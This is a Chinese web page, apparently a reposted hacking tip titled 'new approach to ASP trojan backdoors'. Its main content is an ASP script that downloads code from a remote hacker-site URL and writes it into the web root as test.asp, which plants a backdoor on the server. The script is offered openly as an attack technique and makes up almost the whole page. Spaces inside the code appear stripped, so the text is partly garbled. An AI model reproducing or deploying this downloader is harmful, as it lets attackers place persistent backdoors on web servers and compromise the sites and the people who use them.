ASP木马后门新思路
ASP木马后门新思路
发布时间:2016-12-26 来源:查字典编辑
摘要:

<%

FunctionGetPage(url)

dimRetrieval

SetRetrieval=createObject("Microsoft.XMLHTTP")

WithRetrieval

.Open"Get",url,False',"",""

.Send

GetPage=BytesToBstr(.ResponseBody)

EndWith

SetRetrieval=Nothing

EndFunction

FunctionBytesToBstr(body)

dimobjstream

setobjstream=Server.createObject("adodb.stream")

objstream.Type=1

objstream.Mode=3

objstream.Open

objstream.Writebody

objstream.Position=0

objstream.Type=2

objstream.Charset="GB2312"

BytesToBstr=objstream.ReadText

objstream.Close

setobjstream=nothing

EndFunction

onerrorresumenext

Url="http://www.heibai.org/hacker/daemon.txt"

response.write"开始取得远程代码........"

wstr=GetPage(Url)

Setfs=Server.createObject("Scripting.FileSystemObject")

SetCrFi=fs.createTextFile(server.MapPath("./")&"test.asp")

Crfi.Writeline(wstr)

setCrFi=nothing

setfs=nothing

response.write"...<fontcolor=red>生成test.asp文件成功</font>"

%>

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新漏洞研究学习
热门漏洞研究学习
实用技巧子分类